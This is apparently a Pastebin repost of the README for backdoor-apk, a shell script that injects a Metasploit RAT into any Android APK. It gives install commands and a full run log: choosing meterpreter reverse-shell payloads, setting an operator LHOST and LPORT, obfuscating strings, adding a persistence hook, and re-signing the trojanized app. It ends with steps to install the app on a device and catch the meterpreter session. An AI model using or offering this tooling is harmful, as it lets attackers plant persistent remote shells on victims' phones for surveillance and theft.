Advertisement
TVT618

backdoor-apk - Add backdoor to any Android APK files

Jun 8th, 2018
576
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.04 KB | None | 0 0
  1. backdoor-apk - Add backdoor to any Android APK files
  2.  
  3. About backdoor-apk
  4. backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
  5.  
  6. Install
  7. git clone https://github.com/dana-at-cp/backdoor-apk (Download backdoor-apk)
  8. cd backdoor-apk/backdoor-apk
  9. sudo bash backdoor-apk.sh (Run backdoor-apk)
  10.  
  11. Usage Example:
  12. root@kali:~/Code/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk
  13. ________
  14. / ______ \
  15. || _ _ ||
  16. ||| || ||| AAAAAA PPPPPPP KKK KKK
  17. |||_||_||| AAA AAA PPP PPP KKK KKK
  18. || _ _o|| (o) AAA AAA PPP PPP KKKKKK
  19. ||| || ||| AAAAAAAA PPPPPPPP KKK KKK
  20. |||_||_||| AAA AAA PPP KKK KKK
  21. ||______|| AAA AAA PPP KKK KKK
  22. /__________\
  23. ________|__________|__________________________________________
  24. /____________\
  25. |____________| Dana James Traversie
  26.  
  27. [*] Running backdoor-apk.sh v0.2.3 on Mon Oct 9 16:50:06 EDT 2017
  28. [+] Android payload options:
  29. 1) meterpreter/reverse_http 4) shell/reverse_http
  30. 2) meterpreter/reverse_https 5) shell/reverse_https
  31. 3) meterpreter/reverse_tcp 6) shell/reverse_tcp
  32. [?] Please select an Android payload option: 2
  33. [?] Please enter an LHOST value: 10.6.9.31
  34. [?] Please enter an LPORT value: 443
  35. [+] Android manifest permission options:
  36. 1) Keep original
  37. 2) Merge with payload and shuffle
  38. [?] Please select an Android manifest permission option: 1
  39. [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
  40. [*] Generating RAT APK file...done.
  41. [*] Decompiling original APK file...done.
  42. [+] Keeping permissions of original project
  43. [*] Running proguard on RAT APK file...done.
  44. [*] Decompiling obfuscated RAT APK file...done.
  45. [*] Creating new directories in original project for RAT smali files...done.
  46. [*] Copying RAT smali files to new directories in original project...done.
  47. [*] Fixing RAT smali files...done.
  48. [*] Obfuscating const-string values in RAT smali files...done.
  49. [*] Locating smali file to hook in original project...done.
  50. [*] Adding hook in original smali file...done.
  51. [*] Adding persistence hook in original project...done.
  52. [*] Recompiling original project with backdoor...done.
  53. [*] Generating RSA key for signing...done.
  54. [*] Signing recompiled APK...done.
  55. [*] Verifying signed artifacts...done.
  56. [*] Aligning recompiled APK...done.
  57. root@kali:~/Code/github/backdoor-apk/backdoor-apk#
  58.  
  59. The recompiled APK will be found in the 'original/dist' directory. Install the APK on a compatible Android device, run it, and handle the meterpreter connection via the generated resource script: msfconsole -r backdoor-apk.rc
  60.  
  61. Screenshot
  62.  
  63. Download backdoor-apk: https://github.com/dana-at-cp/backdoor-apk
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement